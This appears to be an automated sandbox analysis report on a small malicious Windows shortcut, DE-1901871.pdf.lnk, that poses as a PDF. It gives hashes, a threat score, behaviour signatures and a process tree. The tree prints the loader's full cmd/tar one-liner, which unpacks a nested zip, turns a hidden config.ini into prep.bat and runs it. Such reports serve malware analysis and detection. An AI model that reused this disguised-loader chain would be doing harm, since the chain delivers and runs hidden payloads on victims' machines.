Analysis

  • max time kernel
    149s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/10/2026, 12:18

General

  • Target
    DE-1901871.pdf.lnk
  • Size 2KB
  • Sample261029-pgtd3abb89
  • SHA256 6c4409fadda1c44e710ce245ad9d59fd2b816d738e43a32d3b5baafea617c5a4
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DE-1901871.pdf.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c tar -xOf "C:\Users\Admin\Downloads\DE-1901871.pdf.zip" . > "C:\Users\Admin\AppData\Local\Temp\tamn142.zip" && tar -xf "C:\Users\Admin\AppData\Local\Temp\tamn142.zip" -C "C:\Users\Admin\AppData\Local\Temp" config.ini && type "C:\Users\Admin\AppData\Local\Temp\config.ini" > "C:\Users\Admin\AppData\Local\Temp\prep.bat" && "C:\Users\Admin\AppData\Local\Temp\prep.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\system32\tar.exe
        tar -xOf "C:\Users\Admin\Downloads\DE-1901871.pdf.zip" .
        3⤵
          PID:1520

    Network

          MITRE ATT&CK Enterprise v16

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